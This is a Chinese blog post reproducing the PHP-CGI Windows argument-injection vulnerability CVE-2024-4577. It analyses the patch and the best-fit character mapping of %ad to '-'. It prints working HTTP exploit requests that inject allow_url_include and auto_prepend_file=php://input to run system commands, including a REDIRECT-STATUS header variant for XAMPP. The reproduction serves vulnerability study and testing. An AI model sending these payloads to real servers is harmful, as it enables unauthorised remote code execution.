PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

作者: print("") 分类: 信息安全 发布时间: 2024-06-07 20:36

看了一下这个就是CVE-2012-1823 的绕过、但是这个绕过需要是繁体中文、简体中文、日文 这三个的系统。

首先回归一下CVE-2012-1823 

https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html


通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:

那么这里是它的一个绕过、那么可以先看看是怎么修改的。


https://github.com/php/php-src/commit/b6d1d3980a664882f03021e9bb918089ed3dc428#diff-969b45ae855ae2d66a5a58bd0ebaa66401276a860940561acf56da39981c8396


增加了如下的一段代码。

#ifdef PHP_WIN32
		if (*p >= 0x80) {
			wchar_t wide_buf[1];
			wide_buf[0] = *p;
			char char_buf[4];
			size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]);
			size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]);
			if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
				|| char_buf[0] == '-') {
				skip_getopt = 1;
			}
		}
#endif

这里是获取到*p 舒服大于0x80 然后通过unicode 字符串 转换为多字节字符串、然后判断是否为- 

那么这里可以找找中文字符集编码表

详细的编码对比表:https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt    

那么可以把-使用%ad来表示

那么使用XAMPP 来 进行一个测试。

去掉配置文件的注释,让他使用cgi php 调用。

POST /?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.8.67
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

<?php system("dir")?>



这里就完成了绕过。成功代码执行。


文章中还提到另外一种RCe 的方式

 ScriptAlias /php-cgi/ "C:/xampp/php/"

这种方式的话。我们看看tests 样例

<?php
include 'include.inc';

$filename = __DIR__."/GHSA-3qgc-jrrr-25jv_tmp.php";
$script = '<?php echo "hello "; echo "world"; ?>';
file_put_contents($filename, $script);

$php = get_cgi_path();
reset_env_vars();

putenv("SERVER_NAME=Test");
putenv("SCRIPT_FILENAME=$filename");
putenv("QUERY_STRING=%ads");
putenv("REDIRECT_STATUS=1");

passthru("$php -s");

?>

那么首先看看、这里是使用的是-s 那么代表显示代码内容。

然后还有一个选项是REDIRECT_STATUS=1 

REDIRECT_STATUS 这个是可以通过header 进行传递的。

那么就只需要在header 头部加入REDIRECT-STATUS:1 即可

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.8.67
REDIRECT-STATUS:1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

<?php system("dir")?>

那么xampp 默认配置也是可以RCE的



现在大多数情况下都是使用的fastcgi  很少有程序会使用php cgi了。


参考:https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注